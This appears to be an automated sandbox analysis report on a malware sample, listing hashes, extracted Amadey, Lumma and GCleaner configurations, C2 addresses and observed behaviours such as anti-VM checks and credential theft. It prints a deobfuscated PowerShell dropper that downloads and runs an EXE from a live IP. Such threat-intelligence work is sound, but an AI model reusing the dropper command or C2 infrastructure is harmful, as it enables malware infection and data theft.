General

  • Target

    random.exe

  • Size

    6.2MB

  • Sample

    250404-kjcf4swjw5

  • MD5

    1b5f0c86f872a363c57c5721f5667485

  • SHA1

    d8a1b169e55085ae83c5325719bf026603a04edc

  • SHA256

    5425d13dc4d180558e58648cdc20802f8f6b28d2b2ab97f0863f0cc9b5ea9b1a

  • SHA512

    9a05fffd35f505630193a47d52bfbd9640ace6c35d7b86f35ff5e3e169c8f0b66c94f26cdd9e90b6fbecf819be9a46a2ff4cef2d16463ac52b1ce14a5513a0c7

  • SSDEEP

    98304:dI2ZVPIbFLUEYdnY8yHA0ekB8ziVBPn1zkGILuLJfefTa0GGO7FR8PiCE2WNVDG:dlvPsFLodn18/uzAnWboJfexBOc620S

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "OULEWE2LRAMPBAII1QA1VMCNWO4UTOT2.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Family

lumma

C2

https://rlxspoty.run/nogoaz

https://jrxsafer.top/shpaoz

https://xuzkrxspint.digital/kendwz

https://99rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://xrfxcaseq.live/gspaz

https://hywmedici.top/noagis

https://synmedsp.live/lzkdj

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://starcloc.bet/GOksAo

https://sspacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://0scenarisacri.top/gHSAYuqo

https://njrxsafer.top/shpaoz

https://zkrxspint.digital/kendwz

https://rhxhube.run/pogrs

Extracted

Family

gcleaner

C2

185.156.73.98

45.91.200.135

Targets

    • Target

      random.exe

    • Size

      6.2MB

    • MD5

      1b5f0c86f872a363c57c5721f5667485

    • SHA1

      d8a1b169e55085ae83c5325719bf026603a04edc

    • SHA256

      5425d13dc4d180558e58648cdc20802f8f6b28d2b2ab97f0863f0cc9b5ea9b1a

    • SHA512

      9a05fffd35f505630193a47d52bfbd9640ace6c35d7b86f35ff5e3e169c8f0b66c94f26cdd9e90b6fbecf819be9a46a2ff4cef2d16463ac52b1ce14a5513a0c7

    • SSDEEP

      98304:dI2ZVPIbFLUEYdnY8yHA0ekB8ziVBPn1zkGILuLJfefTa0GGO7FR8PiCE2WNVDG:dlvPsFLodn18/uzAnWboJfexBOc620S

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • AsyncRat

      AsyncRAT is designed to remotely monitor and control other computers written in C#.

    • Asyncrat family

    • GCleaner

      GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    • Gcleaner family

    • Lumma Stealer, LummaC

      Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    • Lumma family

    • Modifies security service

    • StormKitty

      StormKitty is an open source info stealer written in C#.

    • StormKitty payload

    • Stormkitty family

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Possible privilege escalation attempt

    • Stops running service(s)

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Loads dropped DLL

    • Modifies file permissions

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Adds Run key to start application

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Enumerates processes with tasklist

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

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